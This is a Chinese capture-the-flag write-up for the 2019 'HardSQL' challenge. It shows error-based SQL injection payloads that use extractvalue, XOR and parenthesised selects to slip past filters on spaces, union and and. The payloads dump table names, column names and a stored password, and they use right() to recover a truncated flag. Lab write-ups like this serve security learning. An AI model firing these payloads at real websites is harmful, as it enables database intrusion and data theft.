[极客大挑战 2019]HardSQL
题型分析:
这是一个报错注入类型的SQL注入
过滤分析:
经过检查,发现他过滤了空格,union,and,sleep等。但是,发现他存在正常的报错。于是尝试进行报错注入
报错注入
报错注入的常见函数:
extractvalue(1,concat(0x7e,version(),0x7e))
aa'^extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e))%23
aa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))%23
aa'^extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e))%23
我们发现Flag缺少于是,采用字符串截取的方式。substr,mid被过滤,尝试right发现可行。
RIGHT(s,n) 函数返回字符串 s 最右边的 n 个字符。
实例:
select right('mysql',3);
+------------------+
| right('mysql',3) |
+------------------+
| sql |
+------------------+
1 row in set (0.00 sec)
aa'^extractvalue(1,right(concat(0x7e,(select(password)from(H4rDsq1)),0x7e),30))%23
flag{2af77286-2de5-46c6-acb4-4a
aa'^extractvalue(1,right(concat(0x7e,(select(password)from(H4rDsq1)),0x7e),35))%23
c6-acb4-4aedc507c474}
最终flag
flag{2af77286-2de5-46c6-acb4-4aedc507c474}